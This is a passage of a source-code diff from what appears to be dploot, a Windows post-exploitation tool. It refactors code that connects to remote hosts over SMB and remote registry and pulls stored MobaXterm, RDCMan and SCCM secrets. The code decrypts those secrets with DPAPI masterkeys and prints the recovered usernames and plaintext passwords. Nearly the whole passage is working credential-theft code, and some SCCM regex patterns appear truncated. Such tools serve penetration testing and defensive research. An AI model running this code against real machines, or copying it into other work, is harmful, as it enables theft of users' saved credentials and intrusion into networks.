extract_mobaxtermkeys_for_user_from_remote_registry(self, user: str, sid: str) -> Tuple[MobaXtermMasterPassword, List["MobaXtermCredential | MobaXtermPassword"]]: - self.conn.enable_remoteops() - - entropy = None - mobaxterm_masterpassword_key = None - mobaxterm_credentials = [] - + def extract_entropy_for_user(self, user: str, sid: str): # Extract entropy + entropy = None ans = rrp.hOpenUsers(self.conn.remote_ops._RemoteOperations__rrp) regHandle = ans["phKey"] - regKey = ntpath.join(sid,self.mobaxterm_registry_key_path) + regKey = ntpath.join(sid, self.mobaxterm_registry_key_path) keyHandle = None try: - ans2 = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, regKey, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) + ans2 = rrp.hBaseRegOpenKey( + self.conn.remote_ops._RemoteOperations__rrp, + regHandle, + regKey, + samDesired=rrp.MAXIMUM_ALLOWED + | rrp.KEY_ENUMERATE_SUB_KEYS + | rrp.KEY_QUERY_VALUE, + ) keyHandle = ans2["phkResult"] - _, entropy = rrp.hBaseRegQueryValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, 'SessionP') - entropy = entropy.rstrip("\00").encode('utf-8') + _, entropy = rrp.hBaseRegQueryValue( + self.conn.remote_ops._RemoteOperations__rrp, keyHandle, "SessionP" + ) + entropy = entropy.rstrip("\00").encode("utf-8") rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle) except rrp.DCERPCSessionError as e: - if e.get_error_code() != ERROR_FILE_NOT_FOUND: + if e.get_error_code() == ERROR_FILE_NOT_FOUND: + logging.debug( + f"ERROR_FILE_NOT_FOUND while querying for user {user} on HKU: must be offline" + ) + else: import traceback + traceback.print_exc() logging.error(f"Error while hBaseRegOpenKey HKU\\{regKey}: {e}") + return entropy + + def extract_mobaxtermkeys_for_user_from_files(self, user: str, sid: str) -> Tuple[ + MobaXtermMasterPassword, List["MobaXtermCredential | MobaXtermPassword"] + ]: + self.conn.enable_remoteops() + + mobaxterm_masterpassword_key = None + mobaxterm_credentials = [] + + # Extract entropy + entropy = self.extract_entropy_for_user(user, sid) + if entropy is None: return None, [] + + # Extract all + try: + conf_file = self.conn.readFile( + self.share, self.mobaxterm_conf_file_path.format(username=user), looted_files=self.looted_files + ) + dpapi_blob = conf_file.split(b"[Sesspass]\r\n")[1].split(b"\r\n")[0].split(b"=",1)[1] + mobaxterm_masterpassword_key = MobaXtermMasterPassword( + winuser=user, + entropy=entropy, + host="", + username="", + masterpassword_raw_value=dpapi_blob + ) + mobaxterm_masterpassword_key.decrypt_masterpassword_raw_value( + masterkeys=self.masterkeys + ) + + logging.debug(f"Found Mobaxterm MasterPassword for user {user}") + + credentials = conf_file.split(b"[Credentials]\r\n")[1].split(b"\r\n\r\n")[0] + for credential in credentials.split(b"\r\n"): + name, username = credential.decode().split("=",1) + username, password_encrypted = username.split(":",1) + mobaxterm_credential = MobaXtermCredential( + winuser=user, + name=name, + username=username, + password_encrypted=password_encrypted, + ) + mobaxterm_credential.decrypt(mobaxterm_masterpassword_key.key) + mobaxterm_credentials.append(mobaxterm_credential) + if self.per_secret_callback is not None: + self.per_secret_callback(mobaxterm_credential) + + passwords = conf_file.split(b"[Passwords]\r\n")[1].split(b"\r\n\r\n")[0] + for password in passwords.split(b"\r\n"): + username, encrypted_pass = password.decode().split("=",1) + mobaxterm_credential = MobaXtermPassword( + winuser=user, username=username, password_encrypted=encrypted_pass + ) + mobaxterm_credential.decrypt(mobaxterm_masterpassword_key.key) + mobaxterm_credentials.append(mobaxterm_credential) + if self.per_secret_callback is not None: + self.per_secret_callback(mobaxterm_credential) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + logging.debug(str(e)) + return mobaxterm_masterpassword_key, mobaxterm_credentials + + def extract_mobaxtermkeys_for_user_from_remote_registry( + self, user: str, sid: str + ) -> Tuple[ + MobaXtermMasterPassword, List["MobaXtermCredential | MobaXtermPassword"] + ]: + self.conn.enable_remoteops() + + mobaxterm_masterpassword_key = None + mobaxterm_credentials = [] + + # Extract entropy + entropy = self.extract_entropy_for_user(user, sid) + if entropy is None: + return None, [] + + ans = rrp.hOpenUsers(self.conn.remote_ops._RemoteOperations__rrp) + regHandle = ans["phKey"] + regKey = ntpath.join(sid, self.mobaxterm_registry_key_path) + # Extract M try: - ans2 = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, ntpath.join(regKey,self.mobaxterm_masterpassword_registry_key), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) + ans2 = rrp.hBaseRegOpenKey( + self.conn.remote_ops._RemoteOperations__rrp, + regHandle, + ntpath.join(regKey, self.mobaxterm_masterpassword_registry_key), + samDesired=rrp.MAXIMUM_ALLOWED + | rrp.KEY_ENUMERATE_SUB_KEYS + | rrp.KEY_QUERY_VALUE, + ) keyHandle = ans2["phkResult"] - value = rrp.hBaseRegEnumValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle,0) + value = rrp.hBaseRegEnumValue( + self.conn.remote_ops._RemoteOperations__rrp, keyHandle, 0 + ) name, host = value["lpValueNameOut"].split("@") mobaxterm_masterpassword_key = MobaXtermMasterPassword( winuser=user, entropy=entropy, host=host, username=name, - masterpassword_raw_value=b"".join(value["lpData"]) + masterpassword_raw_value=b"".join(value["lpData"]), + ) + mobaxterm_masterpassword_key.decrypt_masterpassword_raw_value( + masterkeys=self.masterkeys ) + logging.debug(f"Found Mobaxterm MasterPassword for user {user}") rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle) - except Exception as e: + except rrp.DCERPCSessionError as e: + # try extract with file + if e.get_error_code() == ERROR_FILE_NOT_FOUND: + try: + conf_file = self.conn.readFile( + self.share, self.mobaxterm_conf_file_path.format(username=user), looted_files=self.looted_files + ) + dpapi_blob = conf_file.split(b"[Sesspass]\r\n")[1].split(b"\r\n")[0].split(b"=",1)[1] + mobaxterm_masterpassword_key = MobaXtermMasterPassword( + winuser=user, + entropy=entropy, + host="", + username="", + masterpassword_raw_value=dpapi_blob + ) + + mobaxterm_masterpassword_key.decrypt_masterpassword_raw_value( + masterkeys=self.masterkeys + ) + + logging.debug(f"Found Mobaxterm MasterPassword for user {user}") + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + logging.debug(str(e)) if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.debug(str(e)) + if mobaxterm_masterpassword_key is None: + return None, [] # Extract C and P - for key in [self.mobaxterm_credentials_registry_key, self.mobaxterm_passwords_registry_key]: - ans2 = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, ntpath.join(regKey,key), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) + for key in [ + self.mobaxterm_credentials_registry_key, + self.mobaxterm_passwords_registry_key, + ]: + ans2 = rrp.hBaseRegOpenKey( + self.conn.remote_ops._RemoteOperations__rrp, + regHandle, + ntpath.join(regKey, key), + samDesired=rrp.MAXIMUM_ALLOWED + | rrp.KEY_ENUMERATE_SUB_KEYS + | rrp.KEY_QUERY_VALUE, + ) keyHandle = ans2["phkResult"] i = 0 while True: try: - value = rrp.hBaseRegEnumValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i) - data = b''.join(value["lpData"]).decode('latin-1') + value = rrp.hBaseRegEnumValue( + self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i + ) + data = b"".join(value["lpData"]) name = value["lpValueNameOut"].rstrip("\00") - if ":" in data: - username, password_encrypted = data.split(":") + if b":" in data: + username, password_encrypted = data.split(b":") mobaxterm_credential = MobaXtermCredential( winuser=user, name=name, - username=username, + username=username.decode( + "utf-16le", errors="backslashreplace" + ), password_encrypted=password_encrypted, ) else: mobaxterm_credential = MobaXtermPassword( - winuser=user, - username=name, - password_encrypted=data + winuser=user, username=name, password_encrypted=data ) + mobaxterm_credential.decrypt(mobaxterm_masterpassword_key.key) mobaxterm_credentials.append(mobaxterm_credential) i += 1 + if self.per_secret_callback is not None: + self.per_secret_callback(mobaxterm_credential) except rrp.DCERPCSessionError as e: if e.get_error_code() == ERROR_NO_MORE_ITEMS: break - return mobaxterm_masterpassword_key, mobaxterm_credentials @property - def users(self) -> List[str]: + def users(self) -> Dict[str, str]: + """Returns dict of username: sid""" if self._users is not None: return self._users - - users = dict() + + users = {} + sids = [] userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList" - self.conn.enable_remoteops() - ans = rrp.hOpenLocalMachine(self.conn.remote_ops._RemoteOperations__rrp) - regHandle = ans['phKey'] + if self.conn.local_session: + reg = winregistry.Registry( + os.path.join( + self.conn.target.local_root, r"Windows/System32/config/SOFTWARE" + ), + isRemote=False, + ) + parentKey = reg.findKey(userlist_key[8:]) + if parentKey is None: + self._users = users + reg.close() + return self._users - ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) - keyHandle = ans['phkResult'] + sids = list(reg.enumKey(parentKey)) - sids = [] + for sid in sids: + (v_type, v_data) = reg.getValue( + ntpath.join(userlist_key[8:], sid, "ProfileImagePath") + ) + profile_path = v_data.decode("utf-16le").rstrip("\0") + if r"%systemroot%" in profile_path: + continue + users[ntpath.basename(profile_path)] = sid - i = 0 - while True: - try: - ans2 = rrp.hBaseRegEnumKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i) - sids.append(ans2["lpNameOut"]) - except rrp.DCERPCSessionError as e: - if e.get_error_code() == ERROR_NO_MORE_ITEMS: - break - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.error(e) - i +=1 - rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle) - for sid in sids: - ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key,sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) - keyHandle = ans['phkResult'] - _, profile_path = rrp.hBaseRegQueryValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, 'ProfileImagePath') - if r"%systemroot%" in profile_path: - continue - users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0") + reg.close() + + else: + self.conn.enable_remoteops() + ans = rrp.hOpenLocalMachine(self.conn.remote_ops._RemoteOperations__rrp) + regHandle = ans["phKey"] + + ans = rrp.hBaseRegOpenKey( + self.conn.remote_ops._RemoteOperations__rrp, + regHandle, + userlist_key, + samDesired=rrp.MAXIMUM_ALLOWED + | rrp.KEY_ENUMERATE_SUB_KEYS + | rrp.KEY_QUERY_VALUE, + ) + keyHandle = ans["phkResult"] + + i = 0 + while True: + try: + ans2 = rrp.hBaseRegEnumKey( + self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i + ) + sids.append(ans2["lpNameOut"]) + except rrp.DCERPCSessionError as e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + logging.error(e) + i += 1 rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle) + for sid in sids: + ans = rrp.hBaseRegOpenKey( + self.conn.remote_ops._RemoteOperations__rrp, + regHandle, + ntpath.join(userlist_key, sid), + samDesired=rrp.MAXIMUM_ALLOWED + | rrp.KEY_ENUMERATE_SUB_KEYS + | rrp.KEY_QUERY_VALUE, + ) + keyHandle = ans["phkResult"] + _, profile_path = rrp.hBaseRegQueryValue( + self.conn.remote_ops._RemoteOperations__rrp, + keyHandle, + "ProfileImagePath", + ) + if r"%systemroot%" in profile_path: + continue + users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0") + rrp.hBaseRegCloseKey( + self.conn.remote_ops._RemoteOperations__rrp, keyHandle + ) self._users = users - - return self._users \ No newline at end of file + return self._users diff --git a/dploot/triage/rdg.py b/dploot/triage/rdg.py index 39137ba..14a727f 100755 --- a/dploot/triage/rdg.py +++ b/dploot/triage/rdg.py @@ -1,5 +1,4 @@ import logging -import ntpath from typing import Any, List, Tuple import xml.etree.ElementTree as ET import base64 @@ -10,71 +9,114 @@ from dploot.lib.target import Target from dploot.triage.masterkeys import Masterkey + @dataclass -class RDGCred: - type: str +class RDGProfile: profile_name: str username: str password: str + + +@dataclass +class RDGCredProfile(RDGProfile): + def dump(self) -> None: + print("[CREDENTIAL PROFILES]") + print("\tProfile Name:\t%s" % self.profile_name) + print("\tUsername:\t%s" % self.username) + print("\tPassword:\t%s" % self.password.decode("latin-1")) + print() + + def dump_quiet(self) -> None: + print( + "[RDG] {} - {}:{}".format(self.profile_name, self.username, self.password.decode("latin-1")) + ) + + +@dataclass +class RGDLogonProfile(RDGProfile): + def dump(self) -> None: + print("[LOGON PROFILES]") + print("\tProfile Name:\t%s" % self.profile_name) + print("\tUsername:\t%s" % self.username) + print("\tPassword:\t%s" % self.password.decode("latin-1")) + print() + + def dump_quiet(self) -> None: + print( + "[RDG] {} - {}:{}".format(self.profile_name, self.username, self.password.decode("latin-1")) + ) + + +@dataclass +class RDGServerProfile(RDGProfile): server_name: str = None def dump(self) -> None: - if self.type == 'cred': - print('[CREDENTIAL PROFILES]') - print('\tProfile Name:\t%s' % self.profile_name) - print('\tUsername:\t%s' % self.username) - print('\tPassword:\t%s' % self.password.decode('latin-1')) - elif self.type == 'logon': - print('[LOGON PROFILES]') - print('\tProfile Name:\t%s' % self.profile_name) - print('\tUsername:\t%s' % self.username) - print('\tPassword:\t%s' % self.password.decode('latin-1')) - elif self.type == 'server': - print('[SERVER PROFILES]') - print('\tName:\t\t%s' % self.server_name) - print('\tProfile Name:\t%s' % self.profile_name) - print('\tUsername:\t%s' % self.username) - print('\tPassword:\t%s' % self.password.decode('latin-1')) + print("[SERVER PROFILES]") + print("\tName:\t\t%s" % self.server_name) + print("\tProfile Name:\t%s" % self.profile_name) + print("\tUsername:\t%s" % self.username) + print("\tPassword:\t%s" % self.password.decode("latin-1")) print() - + def dump_quiet(self) -> None: - if self.type == 'cred': - print("[RDG] %s - %s:%s" % (self.profile_name, self.username, self.password.decode('latin-1'))) - elif self.type == 'logon': - print("[RDG] %s - %s:%s" % (self.profile_name, self.username, self.password.decode('latin-1'))) - elif self.type == 'server': - print("[RDG] %s - %s - %s:%s" % (self.profile_name, self.server_name, self.username, self.password.decode('latin-1'))) + print( + "[RDG] {} - {} - {}:{}".format( + self.profile_name, + self.server_name, + self.username, + self.password.decode("latin-1"), + ) + ) + @dataclass class RDCMANFile: winuser: str filepath: str - rdg_creds: List[RDGCred] + rdg_creds: List[RDGProfile] + @dataclass class RDGFile: winuser: str filepath: str - rdg_creds: List[RDGCred] + rdg_creds: List[RDGProfile] -class RDGTriage: - false_positive = ['.','..', 'desktop.ini','Public','Default','Default User','All Users'] - user_rdcman_settings_generic_filepath = 'Users\\%s\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings' - user_rdg_generic_filepath = ['Users\\%s\\Documents','Users\\%s\\Desktop'] - share = 'C$' +class RDGTriage: + false_positive = [ + ".", + "..", + "desktop.ini", + "Public", + "Default", + "Default User", + "All Users", + ] + user_rdcman_settings_generic_filepath = "Users\\%s\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings" + user_rdg_generic_filepath = ["Users\\%s\\Documents", "Users\\%s\\Desktop"] + share = "C$" - def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey]) -> None: + def __init__( + self, + target: Target, + conn: DPLootSMBConnection, + masterkeys: List[Masterkey], + per_credential_callback: Any = None, + ) -> None: self.target = target self.conn = conn - + self._users = None - self.looted_files = dict() + self.looted_files = {} self.masterkeys = masterkeys + self.per_credential_callback = per_credential_callback + def triage_rdcman(self) -> Tuple[List[RDCMANFile], List[RDGFile]]: - rdcman_files = list() - rdgfiles = list() + rdcman_files = [] + rdgfiles = [] for user in self.users: try: rdcman_user_file, rdg_user_files = self.triage_rdcman_for_user(user) @@ -83,110 +125,124 @@ def triage_rdcman(self) -> Tuple[List[RDCMANFile], List[RDGFile]]: except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) - pass return rdcman_files, rdgfiles def triage_rdcman_for_user(self, user: str) -> Tuple[RDCMANFile, List[RDGFile]]: rdcman_file = None - rdgfiles = list() + rdgfiles = [] try: - user_rcdman_settings_filepath = self.user_rdcman_settings_generic_filepath % user - rdcmanblob_bytes = self.conn.readFile(self.share,user_rcdman_settings_filepath) + user_rcdman_settings_filepath = ( + self.user_rdcman_settings_generic_filepath % user + ) + rdcmanblob_bytes = self.conn.readFile( + self.share, user_rcdman_settings_filepath, looted_files=self.looted_files + ) if rdcmanblob_bytes: - logging.debug("Found RDCMan Settings for %s user" % (user)) + logging.debug("Found RDCMan Settings for %s user" % (user)) if rdcmanblob_bytes is not None and self.masterkeys is not None: - self.looted_files['%s_RDCMan.settings' % user] = rdcmanblob_bytes xml_data = rdcmanblob_bytes root = ET.fromstring(xml_data) - rdcman_file = RDCMANFile(winuser=user,filepath="\\\\%s\\%s\\%s" % (self.target.address,self.share,user_rcdman_settings_filepath), rdg_creds=self.triage_rdcman_settings(root)) - rdgfiles_elements = root.find('.//FilesToOpen') - for item in rdgfiles_elements.findall('.//item'): + rdcman_file = RDCMANFile( + winuser=user, + filepath=f"\\\\{self.target.address}\\{self.share}\\{user_rcdman_settings_filepath}", + rdg_creds=self.triage_rdcman_settings(root), + ) + rdgfiles_elements = root.find(".//FilesToOpen") + for item in rdgfiles_elements.findall(".//item"): filename = item.text - if '\\\\' not in filename: - if 'C:\\' in filename: - filepath = filename.replace('C:\\','') - rdg_bytes = self.conn.readFile(self.share, filepath) - rdg_xml = ET.fromstring(rdg_bytes) - rdgfiles.append(RDCMANFile(winuser=user,filepath=filename, rdg_creds=self.triage_rdgprofile(rdg_xml))) + if "\\\\" not in filename and "C:\\" in filename: + filepath = filename.replace("C:\\", "") + rdg_bytes = self.conn.readFile(self.share, filepath, looted_files=self.looted_files) + rdg_xml = ET.fromstring(rdg_bytes) + rdgfiles.append( + RDCMANFile( + winuser=user, + filepath=filename, + rdg_creds=self.triage_rdgprofile(rdg_xml), + ) + ) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) - pass return rdcman_file, rdgfiles - def triage_rdgprofile(self, rdgxml: ET.Element) -> List[RDGCred]: - rdg_creds = list() - for cred_profile in rdgxml.findall('.//credentialsProfile'): + def triage_rdgprofile(self, rdgxml: ET.Element) -> List[RDGProfile]: + rdg_creds = [] + for cred_profile in rdgxml.findall(".//credentialsProfile"): if cred_profile is not None: profile_name, username, password = self.triage_credprofile(cred_profile) - rdg_creds.append(RDGCred( - type='cred', + rdg_cred = RDGCredProfile( profile_name=profile_name, username=username, password=password, - )) + ) + rdg_creds.append(rdg_cred) + if self.per_credential_callback is not None: + self.per_credential_callback(rdg_cred) - for server_profile in rdgxml.findall('.//server'): - server_name = server_profile.find('.//properties//name').text - for item in server_profile.findall('.//logonCredentials'): + for server_profile in rdgxml.findall(".//server"): + server_name = server_profile.find(".//properties//name").text + for item in server_profile.findall(".//logonCredentials"): profile_name, username, password = self.triage_credprofile(item) - rdg_creds.append(RDGCred( - type='server', + rdg_cred = RDGServerProfile( profile_name=profile_name, server_name=server_name, username=username, password=password, - )) + ) + rdg_creds.append(rdg_cred) + if self.per_credential_callback is not None: + self.per_credential_callback(rdg_cred) return rdg_creds - - def triage_rdcman_settings(self, rdcman_settings : ET.Element) -> List[RDGCred]: - rdcman_creds = list() - for cred_profile in rdcman_settings.findall('.//credentialsProfile'): + def triage_rdcman_settings(self, rdcman_settings: ET.Element) -> List[RDGProfile]: + rdcman_creds = [] + for cred_profile in rdcman_settings.findall(".//credentialsProfile"): if cred_profile is not None: profile_name, username, password = self.triage_credprofile(cred_profile) - rdcman_creds.append(RDGCred( - type='cred', + rdcman_cred = RDGCredProfile( profile_name=profile_name, username=username, password=password, - )) + ) + rdcman_creds.append(rdcman_cred) + if self.per_credential_callback is not None: + self.per_credential_callback(rdcman_cred) - for cred_profile in rdcman_settings.findall('.//logonCredentials'): + for cred_profile in rdcman_settings.findall(".//logonCredentials"): if cred_profile is not None: profile_name, username, password = self.triage_credprofile(cred_profile) - rdcman_creds.append(RDGCred( - type='logon', + rdcman_cred = RGDLogonProfile( profile_name=profile_name, username=username, password=password, - )) + ) + rdcman_creds.append(rdcman_cred) + if self.per_credential_callback is not None: + self.per_credential_callback(rdcman_cred) return rdcman_creds def triage_credprofile(self, cred_node: ET.Element) -> Tuple[str, str, Any]: - profile_name = cred_node.find('.//profileName').text - full_username = '' - password = None - if cred_node.find(".//userName") is None: - return - else: - username = cred_node.find('.//userName').text - domain = cred_node.find('.//domain').text - b64password = cred_node.find('.//password').text - - if domain == '': - full_username = username - else: - full_username = '%s\\%s' % (domain, username) - - pass_dpapi_blob = base64.b64decode(b64password) - masterkey = find_masterkey_for_blob(pass_dpapi_blob, self.masterkeys) - if masterkey is not None: - password = decrypt_blob(pass_dpapi_blob, masterkey) + profile_name = cred_node.find(".//profileName").text + full_username = "" + password = b"" + if cred_node.find(".//userName") is not None: + username = cred_node.find(".//userName").text + domain = cred_node.find(".//domain").text + b64password = cred_node.find(".//password").text + + full_username = username if domain == "" else f"{domain}\\{username}" + if b64password is not None: + pass_dpapi_blob = base64.b64decode(b64password) + masterkey = find_masterkey_for_blob(pass_dpapi_blob, self.masterkeys) + if masterkey is not None: + password = decrypt_blob(pass_dpapi_blob, masterkey) return profile_name, full_username, password @@ -194,15 +250,7 @@ def triage_credprofile(self, cred_node: ET.Element) -> Tuple[str, str, Any]: def users(self) -> List[str]: if self._users is not None: return self._users - - users = list() - - users_dir_path = 'Users\\*' - directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) - for d in directories: - if d.get_longname() not in self.false_positive and d.is_directory() > 0: - users.append(d.get_longname()) - - self._users = users - - return self._users \ No newline at end of file + + self._users = self.conn.list_users(self.share) + + return self._users diff --git a/dploot/triage/sccm.py b/dploot/triage/sccm.py index 20eb6ad..8be4a6f 100755 --- a/dploot/triage/sccm.py +++ b/dploot/triage/sccm.py @@ -1,5 +1,5 @@ import logging -from typing import List, Tuple +from typing import Any, List, Tuple import re from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob @@ -10,189 +10,293 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection -class SCCMCred: - def __init__(self, username, password) -> None: - self.username = username - self.password = password - def dump(self) -> None: - print('[NAA Account]') - print('\tUsername:\t%s' % self.username.decode('latin-1')) - print('\tPassword:\t%s' % self.password.decode('latin-1')) +class SCCM: + @classmethod + def member_to_string(cls, member): + return member.decode("utf-16le", errors="backslashreplace").rstrip("\0") + def dump(self) -> None: + print(self.description_header) + for name, value in self.__dict__.items(): + print("\t%8s:\t%s" % (name.capitalize(), self.member_to_string(value))) def dump_quiet(self) -> None: - print("[NAA] %s:%s" % (self.username.decode('latin-1'), self.password.decode('latin-1'))) + print( + f'{self.quiet_description_header} {":".join([self.member_to_string(_) for _ in self.__dict__.values()])}' + ) -class SCCMSecret: - def __init__(self, type, secret) -> None: - self.type = type - self.secret = secret + def __eq__(self, other) -> bool: + return all(getattr(self, name) == getattr(other, name) for name in self.__dict__) - def dump(self) -> None: - print('[Task sequences secret]') - print('\tSecret:\t%s' % self.secret.decode('latin-1')) + def __hash__(self) -> int: + return hash(tuple(self.__dict__.values())) - def dump_quiet(self) -> None: - print("[Task] %s" % (self.secret.decode('latin-1'))) +class SCCMCred(SCCM): + description_header = "[NAA Account]" + quiet_description_header = "[NAA]" -class SCCMCollection: - def __init__(self, variable, value) -> None: - self.variable = variable - self.value = value + def __init__(self, username: bytes, password: bytes) -> None: + self.username = username + self.password = password - def dump(self) -> None: - print('[Collection Variable]') - print("\tName:\t%s" % self.variable.decode('latin-1')) - print("\tValue:\t%s" % self.value.decode('latin-1')) +class SCCMSecret(SCCM): + description_header = "[Task sequences secret]" + quiet_description_header = "[Task]" + + def __init__(self, secret) -> None: + self.secret = secret + + +class SCCMCollection(SCCM): + description_header = "[Collection Variable]" + quiet_description_header = "[Collection]" + + def __init__(self, variable: bytes, value: bytes) -> None: + self.variable = variable + self.value = value - def dump_quiet(self) -> None: - print("[Collection] %s:%s" % (self.variable.decode('latin-1'), self.value.decode('latin-1'))) class SCCMTriage: + sccm_objectdata_filepath = "Windows\\System32\\wbem\\Repository\\OBJECTS.DATA" + share = "C$" - sccm_objectdata_filepath = 'Windows\\System32\\wbem\\Repository\\OBJECTS.DATA' - share = 'C$' + regex_naa = rb"CCM_NetworkAccessAccount\x00\x00<\/PolicySecret>\x00\x00<\/PolicySecret>" + regex_task = rb".*?<\/PolicySecret>" + regex_collection = rb"CCM_CollectionVariable\x00\x00(.*?)\x00\x00.*?<\/PolicySecret>" - def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey], use_wmi: bool) -> None: + def __init__( + self, + target: Target, + conn: DPLootSMBConnection, + masterkeys: List[Masterkey], + per_secret_callback: Any = None, + ) -> None: self.target = target self.conn = conn - self.use_wmi = use_wmi self.masterkeys = masterkeys + self.looted_files = {} + self.per_secret_callback = per_secret_callback - def sccmdecrypt(self, dpapi_blob): - if self.use_wmi: - list_blob = [int(dpapi_blob[i:i+2],16) for i in range(0, len(dpapi_blob), 2)][4:] - else: - list_blob = list(bytes.fromhex(dpapi_blob.decode('utf-8')))[4:] + self.dcom_conn = None + + def decrypt_sccm_secret(self, dpapi_blob, from_wmi: bool = False): + list_blob = [int(dpapi_blob[i:i + 2], 16) for i in range(0, len(dpapi_blob), 2)][4:] if from_wmi else list(bytes.fromhex(dpapi_blob.decode("utf-8")))[4:] blob_bytes = bytes(list_blob) - + masterkey = find_masterkey_for_blob(blob_bytes, masterkeys=self.masterkeys) - result = '' + result = "" if masterkey is not None: result = decrypt_blob(blob_bytes, masterkey=masterkey) else: logging.debug("Master keys not found for SCCM blob") return result - def parseFile(self, objectfile) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]: - sccmcred = list() - sccmsecret = list() - sccmcollection = list() - regex_naa = br"CCM_NetworkAccessAccount.*<\/PolicySecret>.*<\/PolicySecret>" - regex_task = br".*<\/PolicySecret>" - regex_collection = br"CCM_CollectionVariable\x00\x00(.*?)\x00\x00.*<\/PolicySecret>" + def parse_sccm_objectfile( + self, objectfile + ) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]: + sccm_creds = [] + sccm_task_sequences = [] + sccm_collections = [] + logging.debug("Looking for NAA Credentials from OBJECTS.DATA file") - pattern = re.compile(regex_naa) + pattern = re.compile(self.regex_naa) for match in pattern.finditer(objectfile): - logging.debug("Found NAA Credentials from OBJECTS.DATA file") - password = self.sccmdecrypt(match.group(1)) - username = self.sccmdecrypt(match.group(2)) - sccmcred.append(SCCMCred(username, password)) - pattern = re.compile(regex_task) + logging.debug( + f"Found NAA Credentials from OBJECTS.DATA file: {match.start()} - {match.end()}" + ) + password = self.decrypt_sccm_secret(match.group(1)) + username = self.decrypt_sccm_secret(match.group(2)) + sccm_cred = SCCMCred(username, password) + sccm_creds.append(sccm_cred) + if self.per_secret_callback is not None: + self.per_secret_callback(sccm_cred) + + pattern = re.compile(self.regex_task) logging.debug("Looking for task sequences secret from OBJECTS.DATA file") for match in pattern.finditer(objectfile): - logging.debug("Found task sequences secret from OBJECTS.DATA file") - secret = self.sccmdecrypt(match.group(1)) - sccmsecret.append(SCCMSecret(secret)) - pattern = re.compile(regex_collection) + logging.debug( + f"Found task sequences secret from OBJECTS.DATA file: {match.start()} - {match.end()}" + ) + task_seq = SCCMSecret(self.decrypt_sccm_secret(match.group(1))) + sccm_task_sequences.append(task_seq) + if self.per_secret_callback is not None: + self.per_secret_callback(task_seq) + + pattern = re.compile(self.regex_collection) logging.debug("Looking for collection variables from OBJECTS.DATA file") for match in pattern.finditer(objectfile): - logging.debug("Found collection variable from OBJECTS.DATA file") - name = self.sccmdecrypt(match.group(1)) - value = self.sccmdecrypt(match.group(2)) - sccmcollection.append(SCCMCollection(name, value)) - return sccmcred, sccmsecret, sccmcollection - - def parseReply(self, iEnum): - finding = list() - regex = r"<\/PolicySecret>" - while True: - try: - pEnum = iEnum.Next(0xffffffff,1)[0] - record = pEnum.getProperties() - - if 'NetworkAccessUsername' in record and 'NetworkAccessPassword' in record and len(record['NetworkAccessUsername']['value']) > 0 and len(record['NetworkAccessPassword']['value']) > 0: - logging.debug("Found NAA Credentials using WMI") - username = self.sccmdecrypt(re.match(regex, record['NetworkAccessUsername']['value']).group(1)) - password = self.sccmdecrypt(re.match(regex, record['NetworkAccessPassword']['value']).group(1)) - finding.append(SCCMCred(username, password)) - if 'Name' in record and 'Value' in record and len(record['Name']['value']) > 0 and len(record['value']['value']) > 0: - logging.debug("Found collection variables using WMI") - name = self.sccmdecrypt(re.match(regex, record['name']['value']).group(1)) - value = 